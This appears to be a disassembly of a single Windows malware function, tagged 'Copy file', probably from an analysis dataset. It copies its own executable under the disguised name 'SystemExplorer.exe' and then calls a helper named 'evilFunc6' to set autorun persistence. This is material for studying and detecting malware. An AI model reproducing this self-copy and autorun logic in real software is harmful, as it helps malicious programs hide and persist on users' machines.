Function at 0x140001da5
Capabilities:
Copy file

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
je 0x140001dec
cmp dword [rbp + 0x10c], 0x104
jne 0x140001df6
mov ebx, 0
jmp 0x140001f59
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.evilFunc7[abi:cxx11]()
lea rax, [rbp - 0x60]
lea rdx, str.SystemExplorer.exe
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator+=(char const*)
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rdx, rax
lea rax, [rbp - 0x40]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
sete al
test al, al
je 0x140001e8e
lea rax, str.Failed_to_copy_file._Error:
mov rdx, rax
mov rax, qword [0x140105df0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rcx, rbx
call method.std::ostream.operator___unsigned_long_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x140001f4d
lea rax, [rbp + 0xff]
mov qword [rbp + 0x100], rax
nop
nop
lea rdx, [rbp + 0xff]
lea rax, [rbp + 0xd0]
mov r8, rdx
lea rdx, str.SystemExplorer
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xd0]
mov rcx, rax
call dbg.evilFunc6(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)
mov byte [rbp + 0x10b], al
lea rax, [rbp + 0xd0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
nop
cmp byte [rbp + 0x10b], 0
je 0x140001f1d
lea rax, str.AutoRun_SET
mov rdx, rax
mov rax, qword [0x140105e10]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001f48
lea rax, str.AutoRun_COULD_NOT_BE_SET
mov rdx, rax
mov rax, qword [0x140105e10]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
mov eax, ebx
jmp 0x140001f94
add rsp, 0x198
pop rbx
pop rbp
ret